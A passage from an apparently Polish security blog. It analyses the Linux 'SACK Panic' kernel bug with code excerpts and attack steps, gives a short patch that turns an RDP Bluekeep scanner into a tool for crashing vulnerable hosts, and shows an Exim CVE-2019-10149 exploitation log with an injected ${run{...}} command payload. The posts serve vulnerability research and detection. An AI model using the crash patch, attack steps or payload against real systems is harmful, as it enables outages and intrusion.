względu na jednokrotne przejście pakietu przez kod obsługujący stos TCP/IP. W
związku z tym powstał programowy mechanizm łączenia pakietów, w jądrze Linuks
znany jako GSO.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">To czy
posiadamy włączone tego typu rozwiązania poprawiające wydajność, możemy
zweryfikować wydając polecenie, "<i>ethtool -k <network_interface></i>".
Przy pomocy tego samego narzędzia, możemy również wyłączyć GSO, co również
ochroni nas przed atakiem „SACK Panic”.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Wracając do
tematu, jeżeli pakiety nie przychodzą w poprawnej kolejności, najczęściej
oznacza to, że jakiś pakiet został po drodze zgubiony. W tym momencie odbiorca
powinien odpowiedzieć nadawcy pakietem potwierdzającym odbiór danych z opcją
TCP SACK. W opcji SACK jest zawarta informacja, które dane dotarły, co
umożliwia ponowną retransmisję tylko niewielkiej, zgubionej porcji danych. W
Linuksie, wszystkie tego typu informacje o danych przesyłanych w ramach
połączenia, jądro trzyma w strukturze <i>sk_buff</i><span style="mso-bidi-font-style: italic;">.</span></span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br />
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Skoro mamy już
podbudowę teoretyczną, to możemy przejść do analizy samego ataku. Z opisu
wynika, że możliwe jest przepełnienie 16-bitowej wartości </span><a href="https://github.com/torvalds/linux/blob/v5.1/include/net/tcp.h#L806"><i><span lang="PL" style="font-family: "courier new"; mso-ansi-language: PL; mso-fareast-font-family: "Times New Roman";">tcp_gso_segs</span></i></a><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">. Wartość ta, to nic innego jak liczba
segmentów TCP które zostały połączone w jeden duży blok danych. Czyli ilość
danych przechowywanych w strukturze <i>sk_buff</i><span style="mso-bidi-font-style: italic;">,</span> będzie wynosić <i>tcp_gso_segs*tcp_gso_size</i>. Druga wartość
(<i>tcp_gso_size</i><span style="mso-bidi-font-style: italic;">),</span> to
wartość MSS pomniejszona o rozmiar zarezerwowany dla opcji TCP. Gdy podczas
inicjowania połączenia ustawimy najniższy możliwy MSS, czyli 48 bajtów, wartość
<i>tcp_gso_size</i> wyniesie 36. Dzieje się tak dlatego, ponieważ 12 bajtów
musi zostać zarezerwowane dla opcji TCP TIMESTAMP, która zazwyczaj jest
dodawana do każdego transmitowanego pakietu.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Teraz zadajmy
sobie kluczowe pytanie: ile maksymalnie segmentów danych możemy połączyć w
jeden duży blok, czyli jaka jest maksymalna wartość <i>tcp_gso_segs</i>? Jak
możemy przeczytać choćby w </span><a href="https://github.com/torvalds/linux/blob/v5.1/net/ipv4/tcp.c#L1107"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">tym
komentarzu</span></a><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">, struktura <i>sk_buff</i>
może utrzymać 17 fragmentów po 32kB każdy. Zatem by otrzymać odpowiedź na
pytanie, dzielimy tą wartość przez <i>tcp_gso_size</i>. Teraz, w normalnym
przypadku gdy mamy MSS na poziomie 48 bajtów, zostaje 36 bajtów na dane, co
daje maksymalnie nieco ponad 15 tysięcy segmentów. Gdybyśmy jednak zmusili
jądro do wykorzystania pełnego zestawu opcji TCP, na dane pozostanie już tylko
8 bajtów co daje: <i>17*32768 / 8 = 69632</i>. Otrzymujemy więc liczbę,
którą nijak nie możemy zapisać jako wartość 16-bitową. Nastąpi przepełnienie <i>tcp_gso_segs
</i>co spowoduje błąd jądra.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br />
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Czyli wiemy
już, że do przeprowadzenia pomyślnego ataku trzeba spełnić takie warunki:</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<ul>
<li><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Połączenie musi transferować przynajmniej 0.5MB danych. Wartość ta wynika z
ilości danych które muszą się znaleźć w strukturze <i>sk_buff </i><span style="mso-bidi-font-style: italic;">(69632 * 8)</span></span><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;"> </span></li>
<li><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Musimy
zbudować jeden duży blok danych do retransmisji przy pomocy pakietów SACK</span><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;"> </span></li>
<li><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Ofiara
ma włączony mechanizm GSO</span><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;"> </span></li>
<li><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Połączenie z MSS ustawionym na 48 bajtów. Możemy podać podczas zestawiania
połączenia lub negocjować później poprzez PMTUD (który domyślnie jest zazwyczaj
wyłączony)</span><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;"> </span></li>
<li><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Jądro
musi użyć pełnego zestawu opcji TCP</span></li>
</ul>
</div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Ostatni warunek
wydaje się najbardziej kuriozalny. W jaki sposób nawiązać połączenie zmuszając
nasz cel do wykorzystania pełnego zestawu opcji TCP? Na początek warto
spojrzeć na fragment funkcji </span><a href="https://github.com/torvalds/linux/blob/v5.1/net/ipv4/tcp_output.c#L3323"><i><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">tcp_connect_init</span></i></a><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">:</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code> static void tcp_connect_init(struct sock *sk)
{
const struct dst_entry *dst = __sk_dst_get(sk);
struct tcp_sock *tp = tcp_sk(sk);
__u8 rcv_wscale;
/* We'll fix this up when we get a response from the other end.
* See tcp_input.c:tcp_rcv_state_process case TCP_SYN_SENT.
*/
tp->tcp_header_len = sizeof(struct tcphdr) +
(sysctl_tcp_timestamps ? TCPOLEN_TSTAMP_ALIGNED : 0);
#ifdef CONFIG_TCP_MD5SIG
if (tp->af_specific->md5_lookup(sk, sk))
tp->tcp_header_len += TCPOLEN_MD5SIG_ALIGNED;
#endif
</code></pre>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br />
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Pole <i>tp->tcp_header_len</i> zawiera
rozmiar nagłówka TCP który będzie transmitowany. Wygląda na to, że moglibyśmy
spróbować zestawić połączenie z wykorzystaniem przestarzałej już opcji TCP,
dodającej hash MD5 z nagłówka oraz danych (</span><a href="https://tools.ietf.org/html/rfc2385"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">RFC2385</span></a><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">). Tego typu połączenie jest inicjowane
w specjalny sposób poprzez wykonanie kodu podobnego do prezentowanego poniżej:</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code> // enable md5 signatures
struct tcp_md5sig md5;
const char *key = "__SECRET__";
memcpy(&md5.tcpm_addr, &dst_addr, sizeof(dst_addr));
strcpy((char*)md5.tcpm_key, key);
md5.tcpm_keylen = strlen(key);
if ( setsockopt(server_sd, IPPROTO_TCP, TCP_MD5SIG, (void*)&md5, sizeof(struct tcp_md5sig)) < 0 ) {
perror("setsockopt(TCP_MD5SIG)");
exit(1);
}
</code></pre>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br />
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Jest jednak
problem, a nawet dwa. Aby zestawić takie połączenie, serwer oraz klient muszą
znać źródłowy oraz docelowy adres IP oraz swoje numery portów, już w momencie
tworzenia gniazda sieciowego. Inaczej mówiąc w konfiguracji serwer ma zapisany
adres IP oraz port na którym przyjmuje połączenia, oraz adres IP i port z
którego klient nawiąże połączenie. Podobnie po stronie klienta. Zatem nie da
się zmusić drugą stronę połączenia, do przełączenia się w tego typu tryb pracy,
jeżeli usługa nie była wcześniej odpowiednio skonfigurowana.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Drugi problem
jest taki, że opcja <i>TCP_MD5SIG</i> ma "tylko" 20 bajtów.
Sumarycznie dałoby to nam 12+20=32, czyli w dalszym ciągu o 8 bajtów za mało.
Ewidentnie nie tędy droga, chociaż<span style="mso-spacerun: yes;"> </span>wątek
ten był podnoszony przez badaczy z </span><a href="https://paper.seebug.org/959/"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Chin</span></a><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Co nam
pozostaje? Spójrzmy jak jest obliczana wartość MSS dla pakietu który ma zostać
wysłany, funkcja </span><a href="https://github.com/torvalds/linux/blob/v5.1/net/ipv4/tcp_output.c#L1560"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">tcp_current_mss</span></a><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">:</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code> unsigned int tcp_current_mss(struct sock *sk)
{
const struct tcp_sock *tp = tcp_sk(sk);
const struct dst_entry *dst = __sk_dst_get(sk);
u32 mss_now;
unsigned int header_len;
struct tcp_out_options opts;
struct tcp_md5sig_key *md5;
mss_now = tp->mss_cache;
if (dst) {
u32 mtu = dst_mtu(dst);
if (mtu != inet_csk(sk)->icsk_pmtu_cookie)
mss_now = tcp_sync_mss(sk, mtu);
}
header_len = tcp_established_options(sk, NULL, &opts, &md5) +
sizeof(struct tcphdr);
/* The mss_cache is sized based on tp->tcp_header_len, which assumes
* some common options. If this is an odd packet (because we have SACK
* blocks etc) then our calculated header_len will be different, and
* we have to adjust mss_now correspondingly */
if (header_len != tp->tcp_header_len) {
int delta = (int) header_len - tp->tcp_header_len;
mss_now -= delta;
}
return mss_now;
}
</code></pre>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br />
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Analizując funkcję
powyżej, oraz funkcję </span><a href="https://github.com/torvalds/linux/blob/v5.1/net/ipv4/tcp_output.c#L725"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">tcp_established_options</span></a><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;"> zobaczymy, że
pozostaje już tylko zmuszenie ofiary do wysłania w naszą stronę pakietów z
opcją SACK. Tak, prawie takich samych, których później musimy użyć do
przepełnienia wartości <i>tcp_gso_segs</i><span style="mso-bidi-font-style: italic;">.</span></span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;"><span style="mso-bidi-font-style: italic;"> </span> </span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Opcja SACK (</span><a href="https://tools.ietf.org/html/rfc2018#section-3"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">RFC2018</span></a><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">) zawiera dwa
bajty nagłówka, oraz może zawierać opis nawet czterech "dziur" w
strumieniu danych (8 bajtów na jedną). Dodajemy do tego 2 bajty wyrównania oraz
12 bajtów opcji TIMESTAMP i finalnie uzyskamy 40 bajtów przy pomocy trzech
bloków SACK. W takim wypadku wartość MSS wyniesie 8 bajtów. Bingo!</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Poniżej
przykład pakietu o jakim mowa, zrzucony przy pomocy <i style="mso-bidi-font-style: normal;">tcpdump</i>:</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code> IP (tos 0x0, ttl 64, id 23002, offset 0, flags [DF], proto TCP (6), length 88)
192.168.5.221.80 > 192.168.5.219.45627: Flags [.], cksum 0xcdc7, seq 2857331114:2857331122, ack 145047428, win 231,
options [nop,nop,TS val 3764364609 ecr 3361447027,nop,nop,sack 3 {145047468:145047476}{145047452:145047460}{145047436:145047444}]
, length 8: HTTP
0x0000: 4500 0058 59da 4000 4006 53bd c0a8 05dd E..XY.@.@.S.....
0x0010: c0a8 05db 0050 b23b aa4f 69aa 08a5 3f84 .....P.;.Oi...?.
0x0020: f010 00e7 8d53 0000 0101 080a e05f a541 .....S......._.A
0x0030: c85b 9c73 0101 051a 08a5 3fac 08a5 3fb4 .[.s......?...?.
0x0040: 08a5 3f9c 08a5 3fa4 08a5 3f8c 08a5 3f94 ..?...?...?...?.
0x0050: 4854 5450 2f31 2e31 HTTP/1.1
</code></pre>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br />
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Wartość MSS dla
poszczególnych połączeń możemy podejrzeć przy pomocy polecenia:</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<pre style="background-color: #eeeeee; border: 1px dashed #999999; color: black; font-family: "andale mono" , "lucida console" , "monaco" , "fixed" , monospace; font-size: 12px; line-height: 14px; overflow: auto; padding: 5px; width: 100%;"><code>ss -ti -o state established
</code></pre>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br />
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Mowa jednak o
kolejce do retransmisji, tak więc niestety w tego typu informacjach o
połączeniu nie zobaczymy 8-śmio bajtowej wartości MSS. <span style="mso-spacerun: yes;"> </span>O skuteczności takiego podejścia można się
przekonać dopiero debugując jądro.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Łącząc wszystko
co się dowiedzieliśmy w całość, wygląda na to, że metoda ataku może składać się
z następujących kroków:</span></div>
<ol start="1" type="1">
<li class="MsoNormal" style="line-height: normal; mso-list: l2 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 36.0pt;"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Nawiązujemy
połączenie lub przyjmujemy połączenie od atakowanej maszyny</span></li>
<li class="MsoNormal" style="line-height: normal; mso-list: l2 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 36.0pt;"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Ustawiamy
wartość MSS na 48 oraz maksymalny parametr <i>window</i></span></li>
<li class="MsoNormal" style="line-height: normal; mso-list: l2 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 36.0pt;"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Inicjujemy
wymianę danych (np. wykonując zapytanie do serwera HTTP) i rozpędzamy
połączenie w celu podniesienia <i>window</i></span></li>
<li class="MsoNormal" style="line-height: normal; mso-list: l2 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 36.0pt;"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Wysyłamy
pakiety danych z odpowiednio spreparowanym numerem sekwencyjnym, by
zasymulować utratę trzech pakietów podczas transmisji. Zmuszamy tym samym
ofiarę do dopełnienia swoich pakietów opcją SACK.</span></li>
<li class="MsoNormal" style="line-height: normal; mso-list: l2 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 36.0pt;"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Połączenie
musi być na tyle "rozpędzone" by ofiara wysłała do nas jeszcze
~0.5MB danych zanim zamilknie ze względu na przekroczenie rozmiaru okna.</span></li>
<li class="MsoNormal" style="line-height: normal; mso-list: l2 level1 lfo3; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto; tab-stops: list 36.0pt;"><span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Potwierdzamy
napływające dane od ofiary własnymi pakietami SACK</span></li>
</ol>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt;">Największym
problemem wydaje się na tym etapie utrzymanie połączenia wystarczająco długo by
zbudować kolejkę retransmisji z odpowiednią ilością danych.</span></div>
<div class="MsoNormal" style="line-height: normal; mso-margin-bottom-alt: auto; mso-margin-top-alt: auto;">
<br /></div>
<span lang="PL" style="font-family: "times new roman" , "serif"; font-size: 12.0pt; line-height: 115%;">Mam nadzieję, że udało mi się rzucić nieco
więcej światła na mechanikę tego problemu. Zachęcam do podzielenia się własnymi
spostrzeżeniami, lub wynikami eksperymentów w komentarzach.</span>adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-13178061632660891602019-06-20T14:14:00.002+02:002019-11-05T09:28:10.923+01:00Bluekeep - Dziura w RDP W dużym skrócie <i>Bluekeep</i> to dziura pozwalająca na zdalne wykonanie kodu, poprzez usługę zdalnego dostępu (RDP). Została pokrótce opisana na stronach <a href="https://blogs.technet.microsoft.com/msrc/2019/05/14/prevent-a-worm-by-updating-remote-desktop-services-cve-2019-0708/" target="_blank">Microsoft</a>, a jak ktoś jest zainteresowany szczegółami technicznymi to najlepiej przeczytać <a href="https://zerosum0x0.blogspot.com/2019/05/avoiding-dos-how-bluekeep-scanners-work.html" target="_blank">ten wpis</a>.<br />
<br />
To co chcę dodać od siębie w tym temacie, to prosta łatka która z narzędzia <a href="https://github.com/robertdavidgraham/rdpscan" target="_blank">rdpscan</a> badającego czy nasz system jest podatny, zrobi narzędzie masowej zagłady wykładające podatne systemy z słynnym <i>BlueScreen</i>.<br />
<br />
Czy rozsiadam się właśnie z miską popcornu by patrzeć jak świat płonie? Nie koniecznie, nie ma lepszego sposobu na zweryfikowanie czy jesteśmy podatni, jak uderzenie bezpośrednio w lukę.<br />
<br />
<div class="code">
diff --git a/src/mst120.c b/src/mst120.c<br />
index 26b1309..b9049c9 100644<br />
--- a/src/mst120.c<br />
+++ b/src/mst120.c<br />
@@ -91,7 +91,7 @@ mst120_check(int is_send)<br />
if (is_send)<br />
{<br />
++g_check_count;<br />
- mst120_send_check_packet(0x20, 8);<br />
- mst120_send_check_packet(0x10, 4);<br />
+ mst120_send_check_packet(0x22, 8);<br />
+ mst120_send_check_packet(0x12, 4);<br />
}<br />
}<br />
<br />
</div>
<br/>
Update (2019.10.05): Pojawił się <a href="https://www.kryptoslogic.com/blog/2019/11/bluekeep-cve-2019-0708-exploitation-spotted-in-the-wild/" target="_blank">exploit wykorzystujący podatność</a>
adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-20637955617739421052019-06-11T16:27:00.000+02:002019-06-19T21:57:57.554+02:00(ENG) Emacs through sendmail - exploiting CVE-2019-10149 <div style="text-align: center;">
<i>Tekst wyjątkowo jest w języku angielskim</i></div>
<br />
<span class="tlid-translation translation" lang="en"><span class="" title=""><span class="tlid-translation translation" lang="en"><span class="" title=""> Before you start reading, p</span></span>lease read article on <a href="https://lwn.net/Articles/790553/" target="_blank">lwn</a>, if you have not already done so</span></span>. <span class="tlid-translation translation" lang="en"><span class="" title="">The 24-hour mark described within the article passed long time ago, and still no further details were published. As stated, vulnerability is trivially exploitable, but discovering it in actual code, not necessary. </span></span><span class="tlid-translation translation" lang="en"><span class="" title=""><span class="tlid-translation translation" lang="en"><span class="" title="">I believe that because of it's simplicity, actual exploit is in active use, and indicators of compromise</span></span></span></span><span class="tlid-translation translation" lang="en"><span class="" title=""><span class="tlid-translation translation" lang="en"><span class="" title=""> are unknown for </span></span></span></span><span class="tlid-translation translation" lang="en"><span class="" title=""><span class="tlid-translation translation" lang="en"><span class="" title=""><span class="tlid-translation translation" lang="en"><span class="" title=""><span class="tlid-translation translation" lang="en"><span class="" title="">system administrators</span></span></span></span>. This leads to situation where after patching your services, you don't know whatever your systems have been compromised or not. These are reasons why </span></span></span></span><span class="tlid-translation translation" lang="en"><span class="" title=""><span class="tlid-translation translation" lang="en"><span class="" title=""><span class="tlid-translation translation" lang="en"><span class="" title="">I decided to post some further details about this vulnerability.</span></span></span></span></span></span><br />
<span class="tlid-translation translation" lang="en"><span class="" title=""><span class="tlid-translation translation" lang="en"><span class="" title=""></span></span></span></span><br />
<span class="tlid-translation translation" lang="en"><span class="" title=""><span class="tlid-translation translation" lang="en"><span class="" title=""><span class="tlid-translation translation" lang="en"><span class="" title=""> As it appears from the published information, to trigger bug we need to set <i>process_recipients</i> variable to some other value than <i>RECIP_ACCEPT</i>. It can be done earlier in the <i>deliver_message()</i> function by following code:</span></span></span></span></span></span><br />
<div class="code">
5716 else if (received_count > received_headers_max)<br />
5717 process_recipients = RECIP_FAIL_LOOP;<br />
<br /></div>
So it's only matter of sending excess amount of <i>Received</i> headers.<br />
<div class="code">
# exim -bP received_headers_max<br />
received_headers_max = 30<br />
<br /></div>
Bringing it all together, <span class="tlid-translation translation" lang="en"><span class="" title="">the successful attack </span></span><span class="tlid-translation translation" lang="en"><span class="" title=""><span class="tlid-translation translation" lang="en"><span class="" title="">leaves traces that looks similar to those below, from my</span></span> exim's mainlog</span></span>:<br />
<div class="code">
1hbNcz-0001gv-Cm <= adrb@localhost H=localhost [::1] P=esmtp S=1732<br />
1hbNcz-0001gv-Cm ** ${run{\x2fbin\x2ftouch\x20\x2ftmp\x2ftest}}@localhost: Too many "Received" headers - suspected mail loop<br />
1hbNdK-0001l5-89 <= <> R=1hbNcz-0001gv-Cm U=Debian-exim P=local S=2969<br />
1hbNcz-0001gv-Cm Completed<br />
1hbNdK-0001l5-89 => adrb <adrb localhost=""> R=local_user T=mail_spool </adrb><br />
<adrb localhost="">1hbNdK-0001l5-89 Completed
</adrb></div>
<br />
Update: You can read about that <span class="tlid-translation translation" lang="en"><span class="" title="">vulnerability </span></span>in full details <a href="https://seclists.org/fulldisclosure/2019/Jun/16" target="_blank">here</a><br />
<br />
<br />
<br />
<br />adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-11959349903098425082019-06-07T18:35:00.001+02:002019-06-07T18:36:06.148+02:00All your sixty four are belong to Embler<br />
Dzięki <a href="https://zaufanatrzeciastrona.pl/" target="_blank">Zaufanej Trzeciej Stronie</a> skorzystałem z okazji by po raz pierwszy sprawdzić się w zadaniu CTF o nazwie "<i>All your sixty four are belong to Embler</i>". Udało się zaliczyć test!<br />
<br />
<a href="https://zaufanatrzeciastrona.pl/post/rozwiazanie-zadania-ctf-all-your-sixty-four-are-belong-to-embler/" target="_blank">Tutaj</a> jest opis zadania wraz z rozwiązaniem.adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-45269545004654497782019-06-07T18:31:00.001+02:002019-06-07T18:53:54.277+02:00Zaległości z lat 2014-2019<br />
Opis kilku ciekawszych rzeczy, które się wydarzyły na przestrzeni tych paru lat przerwy w pisaniu bloga. Niestety wiele projektów i kodu już bezpowrotnie zaginęło w czeluściach szuflady:<br />
<ul>
<li><a href="http://privcore.net/" target="_blank">PrivCore</a> - własna infrastruktura IT dla użytkownika domowego lub firmy</li>
<li><a href="https://forum.armbian.com/topic/4656-orangepi-zero-mainline-kernel-spi-lcd-touchscreen/" target="_blank">Tutorial</a> opisujący jak podpiąć wyświetlacz dotykowy <i>ili9431</i> do OrangePi</li>
<li>Patch do ciekawego błędu w <a href="https://bugzilla.redhat.com/show_bug.cgi?id=1699062" target="_blank">libvirt</a> </li>
<li><a href="https://github.com/ZeXtras/zimbra-drive/pull/34" target="_blank">Poprawki</a> w zimbra-drive dzięki którym możemy przeglądać pliki NextCloud-a w webowym kliencie pocztowym dla Zimbra</li>
</ul>
Kody żródłowe co ciekawszych projektów umieściłem na <a href="https://github.com/adrb/" target="_blank">github</a> adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-91341878645376679622019-06-07T12:19:00.001+02:002019-06-07T12:20:57.515+02:00Powershell Eventlog i logowanie adresów IPJak znaleźć adresy IP z których ktoś się logował do Windows? W tym miejscu pomoże magia PowerShell-a dzięki któremu wyszukamy zdarzenia o identyfikatorze 4624 z "<i>security</i>" logu:
<br />
<br />
<div class="code">
Get-WinEvent -FilterHashtable @{logname='security';id=4624;} | Where-Object {$_.Message -notmatch "Source Network Address:.*(-|::1|127.0.0.1)"} | Select TimeCreated, Id, Message | fl *
<br />
<br /></div>
Możemy również filtrować po "<i>Logon Type: 10</i>", który wskazuje na logowanie poprzez usługi zdalnego dostępu (np. RDP)adrbhttp://www.blogger.com/profile/11509215761138128064noreply@blogger.comtag:blogger.com,1999:blog-2712483289766803032.post-43465129668947933692019-06-07T00:10:00.001+02:002019-08-23T20:32:43.101+02:00Blogger i osadzanie kodu źródłowego<br />
Ile to razy szukałem łatwego sposobu na osadzanie kodu źródłowego na blogu. I o to po latach, w końcu <a href="http://learnopenerp.blogspot.com/2017/11/how-to-insert-code-block-or-syntax-in.html" target="_blank">jest</a>. Nic bardziej prostszego, można użyć gotowego <a href="https://formatmysourcecode.blogspot.com/" target="_blank">skryptu formatującego</a>, lub dodać CSS w zaawansowanych ustawieniach wyglądu (menu "<i>Theme</i>"):<br />
<br />
<a name='more'></a><br />
<br />
<div class="code">
.code { background:#f5f8fa; background-repeat:no-repeat; border: solid #dd7700; border-width: 1px 1px 1px 20px; color: #000000; font: 13px 'Courier New', Courier, monospace; line-height: 16px; margin: 10px 0 10px 10px; min-height: 16px; overflow: auto; padding: 28px 10px 10px; width: 90%; } .code:hover { background-repeat:no-repeat; }
</div>
<br />
